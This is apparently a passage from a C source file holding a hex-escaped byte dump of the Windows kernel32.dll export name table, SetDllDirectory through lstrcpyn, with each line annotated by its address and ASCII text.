7C8082C0 */ "\x6D\x6D\x43\x6F\x6E\x66\x69\x67\x57\x00\x53\x65\x74\x44\x6C\x6C" // mmConfigW.SetDll /* 7C8082D0 */ "\x44\x69\x72\x65\x63\x74\x6F\x72\x79\x41\x00\x53\x65\x74\x44\x6C" // DirectoryA.SetDl /* 7C8082E0 */ "\x6C\x44\x69\x72\x65\x63\x74\x6F\x72\x79\x57\x00\x53\x65\x74\x45" // lDirectoryW.SetE /* 7C8082F0 */ "\x6E\x64\x4F\x66\x46\x69\x6C\x65\x00\x53\x65\x74\x45\x6E\x76\x69" // ndOfFile.SetEnvi /* 7C808300 */ "\x72\x6F\x6E\x6D\x65\x6E\x74\x56\x61\x72\x69\x61\x62\x6C\x65\x41" // ronmentVariableA /* 7C808310 */ "\x00\x53\x65\x74\x45\x6E\x76\x69\x72\x6F\x6E\x6D\x65\x6E\x74\x56" // .SetEnvironmentV /* 7C808320 */ "\x61\x72\x69\x61\x62\x6C\x65\x57\x00\x53\x65\x74\x45\x72\x72\x6F" // ariableW.SetErro /* 7C808330 */ "\x72\x4D\x6F\x64\x65\x00\x53\x65\x74\x45\x76\x65\x6E\x74\x00\x53" // rMode.SetEvent.S /* 7C808340 */ "\x65\x74\x46\x69\x6C\x65\x41\x70\x69\x73\x54\x6F\x41\x4E\x53\x49" // etFileApisToANSI /* 7C808350 */ "\x00\x53\x65\x74\x46\x69\x6C\x65\x41\x70\x69\x73\x54\x6F\x4F\x45" // .SetFileApisToOE /* 7C808360 */ "\x4D\x00\x53\x65\x74\x46\x69\x6C\x65\x41\x74\x74\x72\x69\x62\x75" // M.SetFileAttribu /* 7C808370 */ "\x74\x65\x73\x41\x00\x53\x65\x74\x46\x69\x6C\x65\x41\x74\x74\x72" // tesA.SetFileAttr /* 7C808380 */ "\x69\x62\x75\x74\x65\x73\x57\x00\x53\x65\x74\x46\x69\x6C\x65\x50" // ibutesW.SetFileP /* 7C808390 */ "\x6F\x69\x6E\x74\x65\x72\x00\x53\x65\x74\x46\x69\x6C\x65\x50\x6F" // ointer.SetFilePo /* 7C8083A0 */ "\x69\x6E\x74\x65\x72\x45\x78\x00\x53\x65\x74\x46\x69\x6C\x65\x53" // interEx.SetFileS /* 7C8083B0 */ "\x68\x6F\x72\x74\x4E\x61\x6D\x65\x41\x00\x53\x65\x74\x46\x69\x6C" // hortNameA.SetFil /* 7C8083C0 */ "\x65\x53\x68\x6F\x72\x74\x4E\x61\x6D\x65\x57\x00\x53\x65\x74\x46" // eShortNameW.SetF /* 7C8083D0 */ "\x69\x6C\x65\x54\x69\x6D\x65\x00\x53\x65\x74\x46\x69\x6C\x65\x56" // ileTime.SetFileV /* 7C8083E0 */ "\x61\x6C\x69\x64\x44\x61\x74\x61\x00\x53\x65\x74\x46\x69\x72\x6D" // alidData.SetFirm /* 7C8083F0 */ "\x77\x61\x72\x65\x45\x6E\x76\x69\x72\x6F\x6E\x6D\x65\x6E\x74\x56" // wareEnvironmentV /* 7C808400 */ "\x61\x72\x69\x61\x62\x6C\x65\x41\x00\x53\x65\x74\x46\x69\x72\x6D" // ariableA.SetFirm /* 7C808410 */ "\x77\x61\x72\x65\x45\x6E\x76\x69\x72\x6F\x6E\x6D\x65\x6E\x74\x56" // wareEnvironmentV /* 7C808420 */ "\x61\x72\x69\x61\x62\x6C\x65\x57\x00\x53\x65\x74\x48\x61\x6E\x64" // ariableW.SetHand /* 7C808430 */ "\x6C\x65\x43\x6F\x6E\x74\x65\x78\x74\x00\x53\x65\x74\x48\x61\x6E" // leContext.SetHan /* 7C808440 */ "\x64\x6C\x65\x43\x6F\x75\x6E\x74\x00\x53\x65\x74\x48\x61\x6E\x64" // dleCount.SetHand /* 7C808450 */ "\x6C\x65\x49\x6E\x66\x6F\x72\x6D\x61\x74\x69\x6F\x6E\x00\x53\x65" // leInformation.Se /* 7C808460 */ "\x74\x49\x6E\x66\x6F\x72\x6D\x61\x74\x69\x6F\x6E\x4A\x6F\x62\x4F" // tInformationJobO /* 7C808470 */ "\x62\x6A\x65\x63\x74\x00\x53\x65\x74\x4C\x61\x73\x74\x43\x6F\x6E" // bject.SetLastCon /* 7C808480 */ "\x73\x6F\x6C\x65\x45\x76\x65\x6E\x74\x41\x63\x74\x69\x76\x65\x00" // soleEventActive. /* 7C808490 */ "\x53\x65\x74\x4C\x61\x73\x74\x45\x72\x72\x6F\x72\x00\x53\x65\x74" // SetLastError.Set /* 7C8084A0 */ "\x4C\x6F\x63\x61\x6C\x50\x72\x69\x6D\x61\x72\x79\x43\x6F\x6D\x70" // LocalPrimaryComp /* 7C8084B0 */ "\x75\x74\x65\x72\x4E\x61\x6D\x65\x41\x00\x53\x65\x74\x4C\x6F\x63" // uterNameA.SetLoc /* 7C8084C0 */ "\x61\x6C\x50\x72\x69\x6D\x61\x72\x79\x43\x6F\x6D\x70\x75\x74\x65" // alPrimaryCompute /* 7C8084D0 */ "\x72\x4E\x61\x6D\x65\x57\x00\x53\x65\x74\x4C\x6F\x63\x61\x6C\x54" // rNameW.SetLocalT /* 7C8084E0 */ "\x69\x6D\x65\x00\x53\x65\x74\x4C\x6F\x63\x61\x6C\x65\x49\x6E\x66" // ime.SetLocaleInf /* 7C8084F0 */ "\x6F\x41\x00\x53\x65\x74\x4C\x6F\x63\x61\x6C\x65\x49\x6E\x66\x6F" // oA.SetLocaleInfo /* 7C808500 */ "\x57\x00\x53\x65\x74\x4D\x61\x69\x6C\x73\x6C\x6F\x74\x49\x6E\x66" // W.SetMailslotInf /* 7C808510 */ "\x6F\x00\x53\x65\x74\x4D\x65\x73\x73\x61\x67\x65\x57\x61\x69\x74" // o.SetMessageWait /* 7C808520 */ "\x69\x6E\x67\x49\x6E\x64\x69\x63\x61\x74\x6F\x72\x00\x53\x65\x74" // ingIndicator.Set /* 7C808530 */ "\x4E\x61\x6D\x65\x64\x50\x69\x70\x65\x48\x61\x6E\x64\x6C\x65\x53" // NamedPipeHandleS /* 7C808540 */ "\x74\x61\x74\x65\x00\x53\x65\x74\x50\x72\x69\x6F\x72\x69\x74\x79" // tate.SetPriority /* 7C808550 */ "\x43\x6C\x61\x73\x73\x00\x53\x65\x74\x50\x72\x6F\x63\x65\x73\x73" // Class.SetProcess /* 7C808560 */ "\x41\x66\x66\x69\x6E\x69\x74\x79\x4D\x61\x73\x6B\x00\x53\x65\x74" // AffinityMask.Set /* 7C808570 */ "\x50\x72\x6F\x63\x65\x73\x73\x50\x72\x69\x6F\x72\x69\x74\x79\x42" // ProcessPriorityB /* 7C808580 */ "\x6F\x6F\x73\x74\x00\x53\x65\x74\x50\x72\x6F\x63\x65\x73\x73\x53" // oost.SetProcessS /* 7C808590 */ "\x68\x75\x74\x64\x6F\x77\x6E\x50\x61\x72\x61\x6D\x65\x74\x65\x72" // hutdownParameter /* 7C8085A0 */ "\x73\x00\x53\x65\x74\x50\x72\x6F\x63\x65\x73\x73\x57\x6F\x72\x6B" // s.SetProcessWork /* 7C8085B0 */ "\x69\x6E\x67\x53\x65\x74\x53\x69\x7A\x65\x00\x53\x65\x74\x53\x74" // ingSetSize.SetSt /* 7C8085C0 */ "\x64\x48\x61\x6E\x64\x6C\x65\x00\x53\x65\x74\x53\x79\x73\x74\x65" // dHandle.SetSyste /* 7C8085D0 */ "\x6D\x50\x6F\x77\x65\x72\x53\x74\x61\x74\x65\x00\x53\x65\x74\x53" // mPowerState.SetS /* 7C8085E0 */ "\x79\x73\x74\x65\x6D\x54\x69\x6D\x65\x00\x53\x65\x74\x53\x79\x73" // ystemTime.SetSys /* 7C8085F0 */ "\x74\x65\x6D\x54\x69\x6D\x65\x41\x64\x6A\x75\x73\x74\x6D\x65\x6E" // temTimeAdjustmen /* 7C808600 */ "\x74\x00\x53\x65\x74\x54\x61\x70\x65\x50\x61\x72\x61\x6D\x65\x74" // t.SetTapeParamet /* 7C808610 */ "\x65\x72\x73\x00\x53\x65\x74\x54\x61\x70\x65\x50\x6F\x73\x69\x74" // ers.SetTapePosit /* 7C808620 */ "\x69\x6F\x6E\x00\x53\x65\x74\x54\x65\x72\x6D\x73\x72\x76\x41\x70" // ion.SetTermsrvAp /* 7C808630 */ "\x70\x49\x6E\x73\x74\x61\x6C\x6C\x4D\x6F\x64\x65\x00\x53\x65\x74" // pInstallMode.Set /* 7C808640 */ "\x54\x68\x72\x65\x61\x64\x41\x66\x66\x69\x6E\x69\x74\x79\x4D\x61" // ThreadAffinityMa /* 7C808650 */ "\x73\x6B\x00\x53\x65\x74\x54\x68\x72\x65\x61\x64\x43\x6F\x6E\x74" // sk.SetThreadCont /* 7C808660 */ "\x65\x78\x74\x00\x53\x65\x74\x54\x68\x72\x65\x61\x64\x45\x78\x65" // ext.SetThreadExe /* 7C808670 */ "\x63\x75\x74\x69\x6F\x6E\x53\x74\x61\x74\x65\x00\x53\x65\x74\x54" // cutionState.SetT /* 7C808680 */ "\x68\x72\x65\x61\x64\x49\x64\x65\x61\x6C\x50\x72\x6F\x63\x65\x73" // hreadIdealProces /* 7C808690 */ "\x73\x6F\x72\x00\x53\x65\x74\x54\x68\x72\x65\x61\x64\x4C\x6F\x63" // sor.SetThreadLoc /* 7C8086A0 */ "\x61\x6C\x65\x00\x53\x65\x74\x54\x68\x72\x65\x61\x64\x50\x72\x69" // ale.SetThreadPri /* 7C8086B0 */ "\x6F\x72\x69\x74\x79\x00\x53\x65\x74\x54\x68\x72\x65\x61\x64\x50" // ority.SetThreadP /* 7C8086C0 */ "\x72\x69\x6F\x72\x69\x74\x79\x42\x6F\x6F\x73\x74\x00\x53\x65\x74" // riorityBoost.Set /* 7C8086D0 */ "\x54\x68\x72\x65\x61\x64\x55\x49\x4C\x61\x6E\x67\x75\x61\x67\x65" // ThreadUILanguage /* 7C8086E0 */ "\x00\x53\x65\x74\x54\x69\x6D\x65\x5A\x6F\x6E\x65\x49\x6E\x66\x6F" // .SetTimeZoneInfo /* 7C8086F0 */ "\x72\x6D\x61\x74\x69\x6F\x6E\x00\x53\x65\x74\x54\x69\x6D\x65\x72" // rmation.SetTimer /* 7C808700 */ "\x51\x75\x65\x75\x65\x54\x69\x6D\x65\x72\x00\x53\x65\x74\x55\x6E" // QueueTimer.SetUn /* 7C808710 */ "\x68\x61\x6E\x64\x6C\x65\x64\x45\x78\x63\x65\x70\x74\x69\x6F\x6E" // handledException /* 7C808720 */ "\x46\x69\x6C\x74\x65\x72\x00\x53\x65\x74\x55\x73\x65\x72\x47\x65" // Filter.SetUserGe /* 7C808730 */ "\x6F\x49\x44\x00\x53\x65\x74\x56\x44\x4D\x43\x75\x72\x72\x65\x6E" // oID.SetVDMCurren /* 7C808740 */ "\x74\x44\x69\x72\x65\x63\x74\x6F\x72\x69\x65\x73\x00\x53\x65\x74" // tDirectories.Set /* 7C808750 */ "\x56\x6F\x6C\x75\x6D\x65\x4C\x61\x62\x65\x6C\x41\x00\x53\x65\x74" // VolumeLabelA.Set /* 7C808760 */ "\x56\x6F\x6C\x75\x6D\x65\x4C\x61\x62\x65\x6C\x57\x00\x53\x65\x74" // VolumeLabelW.Set /* 7C808770 */ "\x56\x6F\x6C\x75\x6D\x65\x4D\x6F\x75\x6E\x74\x50\x6F\x69\x6E\x74" // VolumeMountPoint /* 7C808780 */ "\x41\x00\x53\x65\x74\x56\x6F\x6C\x75\x6D\x65\x4D\x6F\x75\x6E\x74" // A.SetVolumeMount /* 7C808790 */ "\x50\x6F\x69\x6E\x74\x57\x00\x53\x65\x74\x57\x61\x69\x74\x61\x62" // PointW.SetWaitab /* 7C8087A0 */ "\x6C\x65\x54\x69\x6D\x65\x72\x00\x53\x65\x74\x75\x70\x43\x6F\x6D" // leTimer.SetupCom /* 7C8087B0 */ "\x6D\x00\x53\x68\x6F\x77\x43\x6F\x6E\x73\x6F\x6C\x65\x43\x75\x72" // m.ShowConsoleCur /* 7C8087C0 */ "\x73\x6F\x72\x00\x53\x69\x67\x6E\x61\x6C\x4F\x62\x6A\x65\x63\x74" // sor.SignalObject /* 7C8087D0 */ "\x41\x6E\x64\x57\x61\x69\x74\x00\x53\x69\x7A\x65\x6F\x66\x52\x65" // AndWait.SizeofRe /* 7C8087E0 */ "\x73\x6F\x75\x72\x63\x65\x00\x53\x6C\x65\x65\x70\x00\x53\x6C\x65" // source.Sleep.Sle /* 7C8087F0 */ "\x65\x70\x45\x78\x00\x53\x75\x73\x70\x65\x6E\x64\x54\x68\x72\x65" // epEx.SuspendThre /* 7C808800 */ "\x61\x64\x00\x53\x77\x69\x74\x63\x68\x54\x6F\x46\x69\x62\x65\x72" // ad.SwitchToFiber /* 7C808810 */ "\x00\x53\x77\x69\x74\x63\x68\x54\x6F\x54\x68\x72\x65\x61\x64\x00" // .SwitchToThread. /* 7C808820 */ "\x53\x79\x73\x74\x65\x6D\x54\x69\x6D\x65\x54\x6F\x46\x69\x6C\x65" // SystemTimeToFile /* 7C808830 */ "\x54\x69\x6D\x65\x00\x53\x79\x73\x74\x65\x6D\x54\x69\x6D\x65\x54" // Time.SystemTimeT /* 7C808840 */ "\x6F\x54\x7A\x53\x70\x65\x63\x69\x66\x69\x63\x4C\x6F\x63\x61\x6C" // oTzSpecificLocal /* 7C808850 */ "\x54\x69\x6D\x65\x00\x54\x65\x72\x6D\x69\x6E\x61\x74\x65\x4A\x6F" // Time.TerminateJo /* 7C808860 */ "\x62\x4F\x62\x6A\x65\x63\x74\x00\x54\x65\x72\x6D\x69\x6E\x61\x74" // bObject.Terminat /* 7C808870 */ "\x65\x50\x72\x6F\x63\x65\x73\x73\x00\x54\x65\x72\x6D\x69\x6E\x61" // eProcess.Termina /* 7C808880 */ "\x74\x65\x54\x68\x72\x65\x61\x64\x00\x54\x65\x72\x6D\x73\x72\x76" // teThread.Termsrv /* 7C808890 */ "\x41\x70\x70\x49\x6E\x73\x74\x61\x6C\x6C\x4D\x6F\x64\x65\x00\x54" // AppInstallMode.T /* 7C8088A0 */ "\x68\x72\x65\x61\x64\x33\x32\x46\x69\x72\x73\x74\x00\x54\x68\x72" // hread32First.Thr /* 7C8088B0 */ "\x65\x61\x64\x33\x32\x4E\x65\x78\x74\x00\x54\x6C\x73\x41\x6C\x6C" // ead32Next.TlsAll /* 7C8088C0 */ "\x6F\x63\x00\x54\x6C\x73\x46\x72\x65\x65\x00\x54\x6C\x73\x47\x65" // oc.TlsFree.TlsGe /* 7C8088D0 */ "\x74\x56\x61\x6C\x75\x65\x00\x54\x6C\x73\x53\x65\x74\x56\x61\x6C" // tValue.TlsSetVal /* 7C8088E0 */ "\x75\x65\x00\x54\x6F\x6F\x6C\x68\x65\x6C\x70\x33\x32\x52\x65\x61" // ue.Toolhelp32Rea /* 7C8088F0 */ "\x64\x50\x72\x6F\x63\x65\x73\x73\x4D\x65\x6D\x6F\x72\x79\x00\x54" // dProcessMemory.T /* 7C808900 */ "\x72\x61\x6E\x73\x61\x63\x74\x4E\x61\x6D\x65\x64\x50\x69\x70\x65" // ransactNamedPipe /* 7C808910 */ "\x00\x54\x72\x61\x6E\x73\x6D\x69\x74\x43\x6F\x6D\x6D\x43\x68\x61" // .TransmitCommCha /* 7C808920 */ "\x72\x00\x54\x72\x69\x6D\x56\x69\x72\x74\x75\x61\x6C\x42\x75\x66" // r.TrimVirtualBuf /* 7C808930 */ "\x66\x65\x72\x00\x54\x72\x79\x45\x6E\x74\x65\x72\x43\x72\x69\x74" // fer.TryEnterCrit /* 7C808940 */ "\x69\x63\x61\x6C\x53\x65\x63\x74\x69\x6F\x6E\x00\x54\x7A\x53\x70" // icalSection.TzSp /* 7C808950 */ "\x65\x63\x69\x66\x69\x63\x4C\x6F\x63\x61\x6C\x54\x69\x6D\x65\x54" // ecificLocalTimeT /* 7C808960 */ "\x6F\x53\x79\x73\x74\x65\x6D\x54\x69\x6D\x65\x00\x55\x54\x52\x65" // oSystemTime.UTRe /* 7C808970 */ "\x67\x69\x73\x74\x65\x72\x00\x55\x54\x55\x6E\x52\x65\x67\x69\x73" // gister.UTUnRegis /* 7C808980 */ "\x74\x65\x72\x00\x55\x6E\x68\x61\x6E\x64\x6C\x65\x64\x45\x78\x63" // ter.UnhandledExc /* 7C808990 */ "\x65\x70\x74\x69\x6F\x6E\x46\x69\x6C\x74\x65\x72\x00\x55\x6E\x6C" // eptionFilter.Unl /* 7C8089A0 */ "\x6F\x63\x6B\x46\x69\x6C\x65\x00\x55\x6E\x6C\x6F\x63\x6B\x46\x69" // ockFile.UnlockFi /* 7C8089B0 */ "\x6C\x65\x45\x78\x00\x55\x6E\x6D\x61\x70\x56\x69\x65\x77\x4F\x66" // leEx.UnmapViewOf /* 7C8089C0 */ "\x46\x69\x6C\x65\x00\x55\x6E\x72\x65\x67\x69\x73\x74\x65\x72\x43" // File.UnregisterC /* 7C8089D0 */ "\x6F\x6E\x73\x6F\x6C\x65\x49\x4D\x45\x00\x55\x6E\x72\x65\x67\x69" // onsoleIME.Unregi /* 7C8089E0 */ "\x73\x74\x65\x72\x57\x61\x69\x74\x00\x55\x6E\x72\x65\x67\x69\x73" // sterWait.Unregis /* 7C8089F0 */ "\x74\x65\x72\x57\x61\x69\x74\x45\x78\x00\x55\x70\x64\x61\x74\x65" // terWaitEx.Update /* 7C808A00 */ "\x52\x65\x73\x6F\x75\x72\x63\x65\x41\x00\x55\x70\x64\x61\x74\x65" // ResourceA.Update /* 7C808A10 */ "\x52\x65\x73\x6F\x75\x72\x63\x65\x57\x00\x56\x44\x4D\x43\x6F\x6E" // ResourceW.VDMCon /* 7C808A20 */ "\x73\x6F\x6C\x65\x4F\x70\x65\x72\x61\x74\x69\x6F\x6E\x00\x56\x44" // soleOperation.VD /* 7C808A30 */ "\x4D\x4F\x70\x65\x72\x61\x74\x69\x6F\x6E\x53\x74\x61\x72\x74\x65" // MOperationStarte /* 7C808A40 */ "\x64\x00\x56\x61\x6C\x69\x64\x61\x74\x65\x4C\x43\x54\x79\x70\x65" // d.ValidateLCType /* 7C808A50 */ "\x00\x56\x61\x6C\x69\x64\x61\x74\x65\x4C\x6F\x63\x61\x6C\x65\x00" // .ValidateLocale. /* 7C808A60 */ "\x56\x65\x72\x4C\x61\x6E\x67\x75\x61\x67\x65\x4E\x61\x6D\x65\x41" // VerLanguageNameA /* 7C808A70 */ "\x00\x56\x65\x72\x4C\x61\x6E\x67\x75\x61\x67\x65\x4E\x61\x6D\x65" // .VerLanguageName /* 7C808A80 */ "\x57\x00\x56\x65\x72\x53\x65\x74\x43\x6F\x6E\x64\x69\x74\x69\x6F" // W.VerSetConditio /* 7C808A90 */ "\x6E\x4D\x61\x73\x6B\x00\x56\x65\x72\x69\x66\x79\x43\x6F\x6E\x73" // nMask.VerifyCons /* 7C808AA0 */ "\x6F\x6C\x65\x49\x6F\x48\x61\x6E\x64\x6C\x65\x00\x56\x65\x72\x69" // oleIoHandle.Veri /* 7C808AB0 */ "\x66\x79\x56\x65\x72\x73\x69\x6F\x6E\x49\x6E\x66\x6F\x41\x00\x56" // fyVersionInfoA.V /* 7C808AC0 */ "\x65\x72\x69\x66\x79\x56\x65\x72\x73\x69\x6F\x6E\x49\x6E\x66\x6F" // erifyVersionInfo /* 7C808AD0 */ "\x57\x00\x56\x69\x72\x74\x75\x61\x6C\x41\x6C\x6C\x6F\x63\x00\x56" // W.VirtualAlloc.V /* 7C808AE0 */ "\x69\x72\x74\x75\x61\x6C\x41\x6C\x6C\x6F\x63\x45\x78\x00\x56\x69" // irtualAllocEx.Vi /* 7C808AF0 */ "\x72\x74\x75\x61\x6C\x42\x75\x66\x66\x65\x72\x45\x78\x63\x65\x70" // rtualBufferExcep /* 7C808B00 */ "\x74\x69\x6F\x6E\x48\x61\x6E\x64\x6C\x65\x72\x00\x56\x69\x72\x74" // tionHandler.Virt /* 7C808B10 */ "\x75\x61\x6C\x46\x72\x65\x65\x00\x56\x69\x72\x74\x75\x61\x6C\x46" // ualFree.VirtualF /* 7C808B20 */ "\x72\x65\x65\x45\x78\x00\x56\x69\x72\x74\x75\x61\x6C\x4C\x6F\x63" // reeEx.VirtualLoc /* 7C808B30 */ "\x6B\x00\x56\x69\x72\x74\x75\x61\x6C\x50\x72\x6F\x74\x65\x63\x74" // k.VirtualProtect /* 7C808B40 */ "\x00\x56\x69\x72\x74\x75\x61\x6C\x50\x72\x6F\x74\x65\x63\x74\x45" // .VirtualProtectE /* 7C808B50 */ "\x78\x00\x56\x69\x72\x74\x75\x61\x6C\x51\x75\x65\x72\x79\x00\x56" // x.VirtualQuery.V /* 7C808B60 */ "\x69\x72\x74\x75\x61\x6C\x51\x75\x65\x72\x79\x45\x78\x00\x56\x69" // irtualQueryEx.Vi /* 7C808B70 */ "\x72\x74\x75\x61\x6C\x55\x6E\x6C\x6F\x63\x6B\x00\x57\x54\x53\x47" // rtualUnlock.WTSG /* 7C808B80 */ "\x65\x74\x41\x63\x74\x69\x76\x65\x43\x6F\x6E\x73\x6F\x6C\x65\x53" // etActiveConsoleS /* 7C808B90 */ "\x65\x73\x73\x69\x6F\x6E\x49\x64\x00\x57\x61\x69\x74\x43\x6F\x6D" // essionId.WaitCom /* 7C808BA0 */ "\x6D\x45\x76\x65\x6E\x74\x00\x57\x61\x69\x74\x46\x6F\x72\x44\x65" // mEvent.WaitForDe /* 7C808BB0 */ "\x62\x75\x67\x45\x76\x65\x6E\x74\x00\x57\x61\x69\x74\x46\x6F\x72" // bugEvent.WaitFor /* 7C808BC0 */ "\x4D\x75\x6C\x74\x69\x70\x6C\x65\x4F\x62\x6A\x65\x63\x74\x73\x00" // MultipleObjects. /* 7C808BD0 */ "\x57\x61\x69\x74\x46\x6F\x72\x4D\x75\x6C\x74\x69\x70\x6C\x65\x4F" // WaitForMultipleO /* 7C808BE0 */ "\x62\x6A\x65\x63\x74\x73\x45\x78\x00\x57\x61\x69\x74\x46\x6F\x72" // bjectsEx.WaitFor /* 7C808BF0 */ "\x53\x69\x6E\x67\x6C\x65\x4F\x62\x6A\x65\x63\x74\x00\x57\x61\x69" // SingleObject.Wai /* 7C808C00 */ "\x74\x46\x6F\x72\x53\x69\x6E\x67\x6C\x65\x4F\x62\x6A\x65\x63\x74" // tForSingleObject /* 7C808C10 */ "\x45\x78\x00\x57\x61\x69\x74\x4E\x61\x6D\x65\x64\x50\x69\x70\x65" // Ex.WaitNamedPipe /* 7C808C20 */ "\x41\x00\x57\x61\x69\x74\x4E\x61\x6D\x65\x64\x50\x69\x70\x65\x57" // A.WaitNamedPipeW /* 7C808C30 */ "\x00\x57\x69\x64\x65\x43\x68\x61\x72\x54\x6F\x4D\x75\x6C\x74\x69" // .WideCharToMulti /* 7C808C40 */ "\x42\x79\x74\x65\x00\x57\x69\x6E\x45\x78\x65\x63\x00\x57\x72\x69" // Byte.WinExec.Wri /* 7C808C50 */ "\x74\x65\x43\x6F\x6E\x73\x6F\x6C\x65\x41\x00\x57\x72\x69\x74\x65" // teConsoleA.Write /* 7C808C60 */ "\x43\x6F\x6E\x73\x6F\x6C\x65\x49\x6E\x70\x75\x74\x41\x00\x57\x72" // ConsoleInputA.Wr /* 7C808C70 */ "\x69\x74\x65\x43\x6F\x6E\x73\x6F\x6C\x65\x49\x6E\x70\x75\x74\x56" // iteConsoleInputV /* 7C808C80 */ "\x44\x4D\x41\x00\x57\x72\x69\x74\x65\x43\x6F\x6E\x73\x6F\x6C\x65" // DMA.WriteConsole /* 7C808C90 */ "\x49\x6E\x70\x75\x74\x56\x44\x4D\x57\x00\x57\x72\x69\x74\x65\x43" // InputVDMW.WriteC /* 7C808CA0 */ "\x6F\x6E\x73\x6F\x6C\x65\x49\x6E\x70\x75\x74\x57\x00\x57\x72\x69" // onsoleInputW.Wri /* 7C808CB0 */ "\x74\x65\x43\x6F\x6E\x73\x6F\x6C\x65\x4F\x75\x74\x70\x75\x74\x41" // teConsoleOutputA /* 7C808CC0 */ "\x00\x57\x72\x69\x74\x65\x43\x6F\x6E\x73\x6F\x6C\x65\x4F\x75\x74" // .WriteConsoleOut /* 7C808CD0 */ "\x70\x75\x74\x41\x74\x74\x72\x69\x62\x75\x74\x65\x00\x57\x72\x69" // putAttribute.Wri /* 7C808CE0 */ "\x74\x65\x43\x6F\x6E\x73\x6F\x6C\x65\x4F\x75\x74\x70\x75\x74\x43" // teConsoleOutputC /* 7C808CF0 */ "\x68\x61\x72\x61\x63\x74\x65\x72\x41\x00\x57\x72\x69\x74\x65\x43" // haracterA.WriteC /* 7C808D00 */ "\x6F\x6E\x73\x6F\x6C\x65\x4F\x75\x74\x70\x75\x74\x43\x68\x61\x72" // onsoleOutputChar /* 7C808D10 */ "\x61\x63\x74\x65\x72\x57\x00\x57\x72\x69\x74\x65\x43\x6F\x6E\x73" // acterW.WriteCons /* 7C808D20 */ "\x6F\x6C\x65\x4F\x75\x74\x70\x75\x74\x57\x00\x57\x72\x69\x74\x65" // oleOutputW.Write /* 7C808D30 */ "\x43\x6F\x6E\x73\x6F\x6C\x65\x57\x00\x57\x72\x69\x74\x65\x46\x69" // ConsoleW.WriteFi /* 7C808D40 */ "\x6C\x65\x00\x57\x72\x69\x74\x65\x46\x69\x6C\x65\x45\x78\x00\x57" // le.WriteFileEx.W /* 7C808D50 */ "\x72\x69\x74\x65\x46\x69\x6C\x65\x47\x61\x74\x68\x65\x72\x00\x57" // riteFileGather.W /* 7C808D60 */ "\x72\x69\x74\x65\x50\x72\x69\x76\x61\x74\x65\x50\x72\x6F\x66\x69" // ritePrivateProfi /* 7C808D70 */ "\x6C\x65\x53\x65\x63\x74\x69\x6F\x6E\x41\x00\x57\x72\x69\x74\x65" // leSectionA.Write /* 7C808D80 */ "\x50\x72\x69\x76\x61\x74\x65\x50\x72\x6F\x66\x69\x6C\x65\x53\x65" // PrivateProfileSe /* 7C808D90 */ "\x63\x74\x69\x6F\x6E\x57\x00\x57\x72\x69\x74\x65\x50\x72\x69\x76" // ctionW.WritePriv /* 7C808DA0 */ "\x61\x74\x65\x50\x72\x6F\x66\x69\x6C\x65\x53\x74\x72\x69\x6E\x67" // ateProfileString /* 7C808DB0 */ "\x41\x00\x57\x72\x69\x74\x65\x50\x72\x69\x76\x61\x74\x65\x50\x72" // A.WritePrivatePr /* 7C808DC0 */ "\x6F\x66\x69\x6C\x65\x53\x74\x72\x69\x6E\x67\x57\x00\x57\x72\x69" // ofileStringW.Wri /* 7C808DD0 */ "\x74\x65\x50\x72\x69\x76\x61\x74\x65\x50\x72\x6F\x66\x69\x6C\x65" // tePrivateProfile /* 7C808DE0 */ "\x53\x74\x72\x75\x63\x74\x41\x00\x57\x72\x69\x74\x65\x50\x72\x69" // StructA.WritePri /* 7C808DF0 */ "\x76\x61\x74\x65\x50\x72\x6F\x66\x69\x6C\x65\x53\x74\x72\x75\x63" // vateProfileStruc /* 7C808E00 */ "\x74\x57\x00\x57\x72\x69\x74\x65\x50\x72\x6F\x63\x65\x73\x73\x4D" // tW.WriteProcessM /* 7C808E10 */ "\x65\x6D\x6F\x72\x79\x00\x57\x72\x69\x74\x65\x50\x72\x6F\x66\x69" // emory.WriteProfi /* 7C808E20 */ "\x6C\x65\x53\x65\x63\x74\x69\x6F\x6E\x41\x00\x57\x72\x69\x74\x65" // leSectionA.Write /* 7C808E30 */ "\x50\x72\x6F\x66\x69\x6C\x65\x53\x65\x63\x74\x69\x6F\x6E\x57\x00" // ProfileSectionW. /* 7C808E40 */ "\x57\x72\x69\x74\x65\x50\x72\x6F\x66\x69\x6C\x65\x53\x74\x72\x69" // WriteProfileStri /* 7C808E50 */ "\x6E\x67\x41\x00\x57\x72\x69\x74\x65\x50\x72\x6F\x66\x69\x6C\x65" // ngA.WriteProfile /* 7C808E60 */ "\x53\x74\x72\x69\x6E\x67\x57\x00\x57\x72\x69\x74\x65\x54\x61\x70" // StringW.WriteTap /* 7C808E70 */ "\x65\x6D\x61\x72\x6B\x00\x5A\x6F\x6D\x62\x69\x66\x79\x41\x63\x74" // emark.ZombifyAct /* 7C808E80 */ "\x43\x74\x78\x00\x5F\x68\x72\x65\x61\x64\x00\x5F\x68\x77\x72\x69" // Ctx._hread._hwri /* 7C808E90 */ "\x74\x65\x00\x5F\x6C\x63\x6C\x6F\x73\x65\x00\x5F\x6C\x63\x72\x65" // te._lclose._lcre /* 7C808EA0 */ "\x61\x74\x00\x5F\x6C\x6C\x73\x65\x65\x6B\x00\x5F\x6C\x6F\x70\x65" // at._llseek._lope /* 7C808EB0 */ "\x6E\x00\x5F\x6C\x72\x65\x61\x64\x00\x5F\x6C\x77\x72\x69\x74\x65" // n._lread._lwrite /* 7C808EC0 */ "\x00\x6C\x73\x74\x72\x63\x61\x74\x00\x6C\x73\x74\x72\x63\x61\x74" // .lstrcat.lstrcat /* 7C808ED0 */ "\x41\x00\x6C\x73\x74\x72\x63\x61\x74\x57\x00\x6C\x73\x74\x72\x63" // A.lstrcatW.lstrc /* 7C808EE0 */ "\x6D\x70\x00\x6C\x73\x74\x72\x63\x6D\x70\x41\x00\x6C\x73\x74\x72" // mp.lstrcmpA.lstr /* 7C808EF0 */ "\x63\x6D\x70\x57\x00\x6C\x73\x74\x72\x63\x6D\x70\x69\x00\x6C\x73" // cmpW.lstrcmpi.ls /* 7C808F00 */ "\x74\x72\x63\x6D\x70\x69\x41\x00\x6C\x73\x74\x72\x63\x6D\x70\x69" // trcmpiA.lstrcmpi /* 7C808F10 */ "\x57\x00\x6C\x73\x74\x72\x63\x70\x79\x00\x6C\x73\x74\x72\x63\x70" // W.lstrcpy.lstrcp /* 7C808F20 */ "\x79\x41\x00\x6C\x73\x74\x72\x63\x70\x79\x57\x00\x6C\x73\x74\x72" // yA.lstrcpyW.lstr /* 7C808F30 */ "\x63\x70\x79\x6E\x00\x6C\x73\x74\x72\x63\x70\x79\x6E\x41\x00\x6C" // 